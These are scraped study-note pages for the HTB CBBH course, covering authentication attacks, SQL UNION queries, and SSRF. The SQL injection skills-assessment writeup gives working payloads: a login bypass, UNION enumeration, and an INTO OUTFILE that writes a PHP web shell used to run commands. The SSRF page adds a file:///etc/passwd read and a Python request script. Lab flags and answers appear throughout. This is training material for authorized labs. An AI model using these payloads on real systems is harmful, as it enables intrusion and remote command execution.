Access](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/authentication-bypass/authentication-bypass-via-direct-access) [Authentication Bypass via Parameter Modification](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/authentication-bypass/authentication-bypass-via-parameter-modification) [PreviousVulnerable Password Reset](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/password-attacks/vulnerable-password-reset) [NextAuthentication Bypass via Direct Access](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/authentication-bypass/authentication-bypass-via-direct-access) --- # Filter Evasion | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion.md) . [Identifying Filters](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/identifying-filters) [Bypassing Space Filters](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-space-filters) [Bypassing Other Blacklisted Characters](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-other-blacklisted-characters) [Bypassing Blacklisted Commands](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-blacklisted-commands) [Advanced Command Obfuscation](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/advanced-command-obfuscation) [Evasion Tools](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/evasion-tools) [PreviousOther Injection Operators](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/other-injection-operators) [NextIdentifying Filters](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/identifying-filters) Last updated 1 year ago --- # Attacks on Authentication | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication/attacks-on-authentication.md) . Attacks on Authentication[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication/attacks-on-authentication#attacks-on-authentication) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ * * * We will categorize attacks on authentication based on the three types of authentication methods discussed in the previous section. * * * ### Attacking Knowledge-based Authentication[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication/attacks-on-authentication#attacking-knowledge-based-authentication) Knowledge-based authentication is prevalent and comparatively easy to attack. As such, we will mainly focus on knowledge-based authentication in this module. This authentication method suffers from reliance on static personal information that can be potentially obtained, guessed, or brute-forced. As cyber threats evolve, attackers have become adept at exploiting weaknesses in knowledge-based authentication systems through various means, including social engineering and data breaches. * * * ### Attacking Ownership-based Authentication[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication/attacks-on-authentication#attacking-ownership-based-authentication) One significant advantage of ownership-based authentication is its resistance to many common cyber threats, such as phishing or password-guessing attacks. Authentication methods based on physical possession, such as hardware tokens or smart cards, are inherently more secure. This is because physical items are more difficult for attackers to acquire or replicate compared to information that can be phished, guessed, or obtained through data breaches. However, challenges such as the cost and logistics of distributing and managing physical tokens or devices can sometimes limit the widespread adoption of ownership-based authentication, particularly in large-scale deployments. Furthermore, systems using ownership-based authentication can be vulnerable to physical attacks, such as stealing or cloning the object, as well as cryptographic attacks on the algorithm it uses. For instance, cloning objects such as NFC badges in public places, like public transportation or cafés, is a feasible attack vector. * * * ### Attacking Inherence-based Authentication[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication/attacks-on-authentication#attacking-inherence-based-authentication) Inherence-based authentication provides convenience and user-friendliness. Users don't need to remember complex passwords or carry physical tokens; they simply provide biometric data, such as a fingerprint or facial scan, to gain access. This streamlined authentication process enhances user experience and reduces the likelihood of security breaches resulting from weak passwords or stolen tokens. However, inherence-based authentication systems must address concerns regarding privacy, data security, and potential biases in biometric recognition algorithms to ensure widespread adoption and trust among users. However, inherence-based authentication systems can be irreversibly compromised in the event of a data breach. This is because users cannot change their biometric features, such as fingerprints. For instance, in 2019, threat actors [breached](https://www.vpnmentor.com/blog/report-biostar2-leak/) a company that builds biometric smart locks, which are managed via a mobile or web application, to identify authorized users using their fingerprints and facial patterns. The breach exposed all fingerprints and facial patterns, in addition to usernames and passwords, grants, and registered users' addresses. While affected users could have easily changed their passwords to mitigate this data breach if the smart locks had used knowledge-based authentication, this was not possible since they utilized inherence-based authentication. [PreviousIntro to Authentication](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication) [NextBrute Force Attacks](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks) Last updated 9 months ago * [Attacks on Authentication](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication/attacks-on-authentication#attacks-on-authentication) * [Attacking Knowledge-based Authentication](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication/attacks-on-authentication#attacking-knowledge-based-authentication) * [Attacking Ownership-based Authentication](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication/attacks-on-authentication#attacking-ownership-based-authentication) * [Attacking Inherence-based Authentication](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication/attacks-on-authentication#attacking-inherence-based-authentication) --- # Union Clause | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-clause.md) . * * * So far, we have only been manipulating the original query to subvert the web application logic and bypass authentication, using the `OR` operator and comments. However, another type of SQL injection is injecting entire SQL queries executed along with the original query. This section will demonstrate this by using the MySQL `Union` clause to do `SQL Union Injection`. * * * ### Union[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-clause#union) Before we start learning about Union Injection, we should first learn more about the SQL Union clause. The [Union](https://dev.mysql.com/doc/refman/8.0/en/union.html) clause is used to combine results from multiple `SELECT` statements. This means that through a `UNION` injection, we will be able to `SELECT` and dump data from all across the DBMS, from multiple tables and databases. Let us try using the `UNION` operator in a sample database. First, let us see the content of the `ports` table: Union Clause Copy mysql> SELECT * FROM ports; +----------+-----------+ | code | city | +----------+-----------+ | CN SHA | Shanghai | | SG SIN | Singapore | | ZZ-21 | Shenzhen | +----------+-----------+ 3 rows in set (0.00 sec) Next, let us see the output of the `ships` tables: Union Clause Copy mysql> SELECT * FROM ships; +----------+-----------+ | Ship | city | +----------+-----------+ | Morrison | New York | +----------+-----------+ 1 rows in set (0.00 sec) Now, let us try to use `UNION` to combine both results: Union Clause As we can see, `UNION` combined the output of both `SELECT` statements into one, so entries from the `ports` table and the `ships` table were combined into a single output with four rows. As we can see, some of the rows belong to the `ports` table while others belong to the `ships` table. Note: The data types of the selected columns on all positions should be the same. * * * ### Even Columns[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-clause#even-columns) A `UNION` statement can only operate on `SELECT` statements with an equal number of columns. For example, if we attempt to `UNION` two queries that have results with a different number of columns, we get the following error: Union Clause The above query results in an error, as the first `SELECT` returns one column and the second `SELECT` returns two. Once we have two queries that return the same number of columns, we can use the `UNION` operator to extract data from other tables and databases. For example, if the query is: Code: sql We can inject a `UNION` query into the input, such that rows from another table are returned: Code: sql The above query would return `username` and `password` entries from the `passwords` table, assuming the `products` table has two columns. * * * ### Un-even Columns[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-clause#un-even-columns) We will find out that the original query will usually not have the same number of columns as the SQL query we want to execute, so we will have to work around that. For example, suppose we only had one column. In that case, we want to `SELECT`, we can put junk data for the remaining required columns so that the total number of columns we are `UNION`ing with remains the same as the original query. For example, we can use any string as our junk data, and the query will return the string as its output for that column. If we `UNION` with the string `"junk"`, the `SELECT` query would be `SELECT "junk" from passwords`, which will always return `junk`. We can also use numbers. For example, the query `SELECT 1 from passwords` will always return `1` as the output. Note: When filling other columns with junk data, we must ensure that the data type matches the columns data type, otherwise the query will return an error. For the sake of simplicity, we will use numbers as our junk data, which will also become handy for tracking our payloads positions, as we will discuss later. Tip: For advanced SQL injection, we may want to simply use 'NULL' to fill other columns, as 'NULL' fits all data types. The `products` table has two columns in the above example, so we have to `UNION` with two columns. If we only wanted to get one column 'e.g. `username`', we have to do `username, 2`, such that we have the same number of columns: Code: sql If we had more columns in the table of the original query, we have to add more numbers to create the remaining required columns. For example, if the original query used `SELECT` on a table with four columns, our `UNION` injection would be: Code: sql This query would return: Union Clause As we can see, our wanted output of the '`UNION SELECT username from passwords`' query is found at the first column of the second row, while the numbers filled the remaining columns. **Questions**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-clause#questions) -------------------------------------------------------------------------------------------------------------------------- Target(s): 83.136.253.235:32918 Authenticate to 83.136.253.235:32918 with user "root" and password "password" Connect to the above MySQL server with the 'mysql' tool, and find the number of records returned when doing a 'Union' of all records in the 'employees' table and all records in the 'departments' table. A: 663 [PreviousUsing Comments](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/using-comments) [NextUnion Injection](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-injection) Last updated 1 year ago * [Union](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-clause#union) * [Even Columns](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-clause#even-columns) * [Un-even Columns](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-clause#un-even-columns) * [Questions](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-clause#questions) Copy mysql> SELECT * FROM ports UNION SELECT * FROM ships; +----------+-----------+ | code | city | +----------+-----------+ | CN SHA | Shanghai | | SG SIN | Singapore | | Morrison | New York | | ZZ-21 | Shenzhen | +----------+-----------+ 4 rows in set (0.00 sec) Copy mysql> SELECT city FROM ports UNION SELECT * FROM ships; ERROR 1222 (21000): The used SELECT statements have a different number of columns Copy SELECT * FROM products WHERE product_id = 'user_input' Copy SELECT * from products where product_id = '1' UNION SELECT username, password from passwords-- ' Copy SELECT * from products where product_id = '1' UNION SELECT username, 2 from passwords Copy UNION SELECT username, 2, 3, 4 from passwords-- ' Copy mysql> SELECT * from products where product_id UNION SELECT username, 2, 3, 4 from passwords-- ' +-----------+-----------+-----------+-----------+ | product_1 | product_2 | product_3 | product_4 | +-----------+-----------+-----------+-----------+ | admin | 2 | 3 | 4 | +-----------+-----------+-----------+-----------+ Copy // Solution / Answer ┌─[us-academy-1]─[10.10.14.20]─[htb-ac-1067736@htb-nc3812yygr]─[~] └──╼ [★]$ mysql -u root -h 83.136.253.235 -P 32918 -p Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 3 Server version: 10.7.3-MariaDB-1:10.7.3+maria~focal mariadb.org binary distribution Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]> SHOW TABLES; ERROR 1046 (3D000): No database selected MariaDB [(none)]> SHOW DATABASES; +--------------------+ | Database | +--------------------+ | employees | | information_schema | | mysql | | performance_schema | | sys | +--------------------+ 5 rows in set (0.145 sec) MariaDB [(none)]> use employees; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed MariaDB [employees]> SHOW TABLES; +----------------------+ | Tables_in_employees | +----------------------+ | current_dept_emp | | departments | | dept_emp | | dept_emp_latest_date | | dept_manager | | employees | | salaries | | titles | +----------------------+ 8 rows in set (0.145 sec) MariaDB [employees]> SELECT * FROM departments; +---------+--------------------+ | dept_no | dept_name | +---------+--------------------+ | d009 | Customer Service | | d005 | Development | | d002 | Finance | | d003 | Human Resources | | d001 | Marketing | | d004 | Production | | d006 | Quality Management | | d008 | Research | | d007 | Sales | +---------+--------------------+ 9 rows in set (0.146 sec) MariaDB [employees]> SELECT * FROM employees; +--------+------------+--------------+-----------------+--------+------------+ | emp_no | birth_date | first_name | last_name | gender | hire_date | +--------+------------+--------------+-----------------+--------+------------+ | 10001 | 1953-09-02 | Georgi | Facello | M | 1986-06-26 | | 10002 | 1952-12-03 | Vivian | Billawala | F | 1986-12-11 | | 10003 | 1959-06-16 | Temple | Lukaszewicz | M | 1992-07-04 | <SNIP> ... <SNIP> 654 rows in set (0.290 sec) MariaDB [employees]> SELECT * from employees UNION SELECT dept_no, dept_name,3,4,5,6 FROM departments; +--------+--------------------+--------------+-----------------+--------+------------+ | emp_no | birth_date | first_name | last_name | gender | hire_date | +--------+--------------------+--------------+-----------------+--------+------------+ | 10001 | 1953-09-02 | Georgi | Facello | M | 1986-06-26 | | 10002 | 1952-12-03 | Vivian | Billawala | F | 1986-12-11 | | 10003 | 1959-06-16 | Temple | Lukaszewicz | M | 1992-07-04 | <SNIP> ... <SNIP> | 10653 | 1956-09-05 | Patricia | Breugel | M | 1993-10-13 | | 10654 | 1958-05-01 | Sachin | Tsukuda | M | 1997-11-30 | | d009 | Customer Service | 3 | 4 | 5 | 6 | | d005 | Development | 3 | 4 | 5 | 6 | | d002 | Finance | 3 | 4 | 5 | 6 | | d003 | Human Resources | 3 | 4 | 5 | 6 | | d001 | Marketing | 3 | 4 | 5 | 6 | | d004 | Production | 3 | 4 | 5 | 6 | | d006 | Quality Management | 3 | 4 | 5 | 6 | | d008 | Research | 3 | 4 | 5 | 6 | | d007 | Sales | 3 | 4 | 5 | 6 | +--------+--------------------+--------------+-----------------+--------+------------+ 663 rows in set (0.292 sec) --- # Skills Assessment - SQL Injection Fundamentals | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/skills-assessment-sql-injection-fundamentals.md) . * * * The company `Inlanefreight` has contracted you to perform a web application assessment against one of their public-facing websites. In light of a recent breach of one of their main competitors, they are particularly concerned with SQL injection vulnerabilities and the damage the discovery and successful exploitation of this attack could do to their public image and bottom line. They provided a target IP address and no further information about their website. Perform a full assessment of the web application from a "grey box" approach, checking for the existence of SQL injection vulnerabilities. ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F33%2Fsqli_skills.png&width=768&dpr=3&quality=100&sign=9c8d222d&sv=2) image Find the vulnerabilities and submit a final flag using the skills we covered to complete this module. Don't forget to think outside the box! Questions[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/skills-assessment-sql-injection-fundamentals#questions) --------------------------------------------------------------------------------------------------------------------------------------- Target(s): 94.237.63.176:35989 Assess the web application and use a variety of techniques ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FlfXAj3MKlumvwK2ugDAX%252Fimage.png%3Falt%3Dmedia%26token%3D1598cc1d-615b-440f-8644-82336dae8c8c&width=768&dpr=3&quality=100&sign=ceeb8793&sv=2) ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FwfoTimdaIEeSOTo0w8rB%252Fimage.png%3Falt%3Dmedia%26token%3D85932966-c098-4bf0-870d-9fc3ee0584f9&width=768&dpr=3&quality=100&sign=ca33d99e&sv=2) Since the login was suspectable to SQL Injection, the search function more than likely is as well. ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252F9Wx17MokLvTvOk3NTTji%252Fimage.png%3Falt%3Dmedia%26token%3D7663ec9a-fd8e-4c00-863d-0b2f86326fc6&width=768&dpr=3&quality=100&sign=215b97ba&sv=2) Next I will attempt to reveal the table schema ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FcwAJd4AOjLvVjKS19Iyn%252Fimage.png%3Falt%3Dmedia%26token%3D214ea746-db5a-4b5d-91dc-a631a10f0f8a&width=768&dpr=3&quality=100&sign=5c4ca02f&sv=2) Now I want to be able to write to file to see if I can achieve RCE using SQL Injection, So I will begin attempting to write to a web root `After you will typically see nothing, which is good.` ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FfWszPEnbLZfIwgE4R4lr%252Fimage.png%3Falt%3Dmedia%26token%3Dcf4e5751-095d-46fa-9f9a-cd6b8b9381bd&width=768&dpr=3&quality=100&sign=19a59e09&sv=2) Having confirmed write permissions, we can go ahead and write a PHP web shell to the webroot folder. After you should see nothing which is good. So lets try visitnging the web shell url ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FKOZ5rSsxKrxDxEbU26UA%252Fimage.png%3Falt%3Dmedia%26token%3D010faa93-308d-428d-a8c1-6797ded8878a&width=768&dpr=3&quality=100&sign=4f5ffb57&sv=2) ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252F59NP6gj8QCz7LPDlpkAT%252Fimage.png%3Falt%3Dmedia%26token%3Dfe7b600f-8636-456b-a3c8-4be9346563df&width=768&dpr=3&quality=100&sign=188a3648&sv=2) [![Logo](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fgchq.github.io%2FCyberChef%2Fassets%2Faecc661b69309290f600.ico&width=20&dpr=3&quality=100&sign=18348987&sv=2)CyberChefgchq.github.io](https://gchq.github.io/CyberChef/#recipe=URL_Encode(false)&input=Y2F0IGZsYWdfY2FlMWRhZGNkMTc0LnR4dA) ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FYsOIZ4LwdRnn73UMeJpR%252Fimage.png%3Falt%3Dmedia%26token%3De30a1474-b1f2-46df-ba7d-ca395e0f94b9&width=768&dpr=3&quality=100&sign=fe28f8b6&sv=2) Now that we have the url encoded string, let's test to see if this will reveal the flag Complete URL looked like this: [http://94.237.63.176:35989/dashboard/shell.php?0=cat%20/flag\_cae1dadcd174.txt94.237.63.176](http://94.237.63.176:35989/dashboard/shell.php?0=cat%20/flag_cae1dadcd174.txt) As we can see, it worked and flag is revealed ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FsNEvZbVN8gzdkj4htyhm%252Fimage.png%3Falt%3Dmedia%26token%3Da539b3fb-87f9-4c94-b462-a0ed665b2cd0&width=768&dpr=3&quality=100&sign=8a03560f&sv=2) 528d6d9cedc2c7aab146ef226e918396 [PreviousMitigating SQL Injection](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/mitigating-sql-injection) [NextHTB SQL Injection Fundamentals (assessment writeup/walkthrough)](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/skills-assessment-sql-injection-fundamentals/htb-sql-injection-fundamentals-assessment-writeup-walkthrough) Last updated 1 year ago Copy // Bypass Authorization Payload admin' OR '1'='1' -- - Copy // Used each one of these payloads to test the search bar for SQL Injection d' union select 1 -- - d' union select 1, 2 -- - d' union select 1, 2, 3 -- - d' union select 1, 2, 3, 4 -- - // This payload below was the correct one, and gave the below result d' union select 1, 2, 3, 4, 5-- - Copy // Payload to reveal user priveledge d' union select 1, user(), 3, 4, 5-- - Copy // payload to reval The INFORMATION_SCHEMA database d' UNION select 1,schema_name,3,4,5 from INFORMATION_SCHEMA.SCHEMATA-- - Copy // Write to file Union Injection payload d' union select 1, 'file written successfully!', 3,4,5 into outfile '/var/www/html/dashboard/proof.txt' -- - Copy // Write Web Shell to webroot foler Payload d' union select 1,'<?php system($_REQUEST[0]) ?>', 3, 4, 5 into outfile '/var/www/html/dashboard/SHELL.php'-- - --- # Exploiting SSRF | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/exploiting-ssrf.md) . First had to add 127.0.0.1 to /etc/hosts Copy $ cat /etc/hosts 127.0.0.1 localhost 127.0.1.1 kali ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters 127.0.0.1 dateserver Copy // Accessing Restricted Endpoints ┌──(kali㉿kali)-[/] └─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -u http://10.129.128.237/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://dateserver.htb/FUZZ.php&date=2024-01-01" -fr "Server at dateserver.htb Port 80" /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : POST :: URL : http://10.129.128.237/index.php :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt :: Header : Content-Type: application/x-www-form-urlencoded :: Data : dateserver=http://dateserver.htb/FUZZ.php&date=2024-01-01 :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Regexp: Server at dateserver.htb Port 80 ________________________________________________ admin [Status: 200, Size: 361, Words: 55, Lines: 16, Duration: 4572ms] availability [Status: 200, Size: 9, Words: 1, Lines: 1, Duration: 72ms] :: Progress: [43007/43007] :: Job [1/1] :: 530 req/sec :: Duration: [0:03:51] :: Errors: 240 :: ### Local File Inclusion (LFI)[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/exploiting-ssrf#local-file-inclusion-lfi) As seen a few sections ago, we can manipulate the URL scheme to provoke further unexpected behavior. Since the URL scheme is part of the URL supplied to the web application, let us attempt to read local files from the file system using the `file://` URL scheme. We can achieve this by supplying the URL `file:///etc/passwd` ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FyQltl9ma37YZwFgLKNLO%252Fimage.png%3Falt%3Dmedia%26token%3Df68d134c-0aab-4657-85eb-dd19a8eb2b36&width=768&dpr=3&quality=100&sign=b92a0abc&sv=2) We can use this to read arbitrary files on the filesystem, including the web application's source code. For more details about exploiting LFI vulnerabilities, check out the [File Inclusion](https://academy.hackthebox.com/module/details/23) module. For some reason I was able to get the flag with this request, not sure why. Request sent ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FWol56WTKjQDL6UemBaV0%252Fimage.png%3Falt%3Dmedia%26token%3Da32d9a52-21d7-4120-a415-9222ff222c5d&width=768&dpr=3&quality=100&sign=ffdd52ae&sv=2) ### Automated Exploit[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/exploiting-ssrf#automated-exploit) [PreviousIdentifying SSRF](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/identifying-ssrf) [NextBlind SSRF](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/blind-ssrf) Last updated 10 months ago * [Local File Inclusion (LFI)](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/exploiting-ssrf#local-file-inclusion-lfi) * [Automated Exploit](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/exploiting-ssrf#automated-exploit) Copy // Burp Request POST /index.php HTTP/1.1 Host: 10.129.128.237 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 58 Origin: http://10.129.128.237 Connection: keep-alive Referer: http://10.129.128.237/ Priority: u=0 dateserver=http://dateserver.htb/admin.php&date=2024-01-01 Copy // Burp Response HTTP/1.1 200 OK Date: Mon, 13 Oct 2025 18:14:11 GMT Server: Apache/2.4.59 (Debian) Vary: Accept-Encoding Content-Length: 361 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Admin Dashboard</title> </head> <body> <div class="container"> <h1>Admin Dashboard</h1> <h4>Hello Admin<h4> <p>HTB{61ea58507c2b9da30465b9582d6782a1}</p> </div> </body> </html> Copy """ --------------------------- Exploit SSRF --------------------------- 1. Exploit a SSRF vulnerability to identify an internal web application. Access the internal application to obtain the flag. """ # Import Request to send web request to the internet import requests import sys import requests # Module to display output in different colors. from colorama import Fore, Back, Style """ Disable the display of certificate warnings when requests are made to websites using insecure certificates. This can be useful in scenarios where targeted web applications use self-signed certificates as is the case in the AWAE labs. """ requests.packages.urllib3.\ disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) def main(): """ Main entry point: - validate CLI args - build request info - simulate (or actually perform) the request - format and print the response blocks """ # If the script is ran without specify the target if len(sys.argv) != 2: print(f"In CLI, Usage should be: {sys.argv[0]} target") print(f"Example: {sys.argv[0]} 10.0.0.1") print(f"Example: {sys.argv[0]} manageengine") sys.exit(1) # Obtain taregt from CLI target = sys.argv[1].strip().rstrip('/') # from CLI202 # ============================ URL of TARGET ============================ # url = f"http://{target}/index.php" # ============================ Params of Request ============================ # params = { "dateserver":"http://dateserver.htb/admin.php", "date":"2024-01-01" } # ============================ Initiate the Request to READ File Into a Table ============================ # try: # WARNING: verify=False disables TLS certificate verification. r = requests.post(url, data=params, verify=False, timeout=10) except requests.RequestException as e: print(f"Request failed: {e}") sys.exit(2) # ============================ FORMAT OUTPUT ============================ # print("\n======= Johnny Custom Exploit Development =======\n") print(format_text("REQUEST METHOD:", r.request.method)) print(format_text("REQUEST URL:", r.request.url)) print(format_text("REQUEST HEADERS | r.headers is: :", r.request.headers)) print(format_text("REQUEST BODY (raw):", r.request.body)) # shows form-encoded body print(format_text("RESPONSE STATUS | r.status_code is:", r.status_code)) print(format_text("RESPONSE COOKIES | r.cookies is:", r.cookies)) print(format_text("RESPONSE CONTENT-LENGTH:", len(r.text))) print(format_text("RESPONSE (first 300 chars):\n", r.text)) def format_text(title,item): """ Helper to create a nicely formatted console output block. - title: short label for the section (e.g. "r.status_code is:") - item: item to display (will be stringified) Returns a string that contains the title, a separator, the item, and a short marker. """ cr = '\r\n' section_break = cr + "*" * 20 + cr item = str(item) text = Style.BRIGHT + Fore.RED + title + Fore.RESET + section_break + item + section_break + '\t' return text if __name__ == "__main__": main() --- # Intro to Authentication | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication.md) . What is Authentication[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication#what-is-authentication) ---------------------------------------------------------------------------------------------------------------------------------------- * * * Authentication is defined as "The process of verifying a claim that a system entity or system resource has a certain attribute value" in [RFC 4949](https://datatracker.ietf.org/doc/rfc4949/) . In information security, authentication is the process of confirming an entity's identity, ensuring they are who they claim to be. On the other hand, authorization is an "approval that is granted to a system entity to access a system resource"; while this module will not cover authorization deeply, understanding the major difference between it and authentication is vital to approach this module with the appropriate mindset. 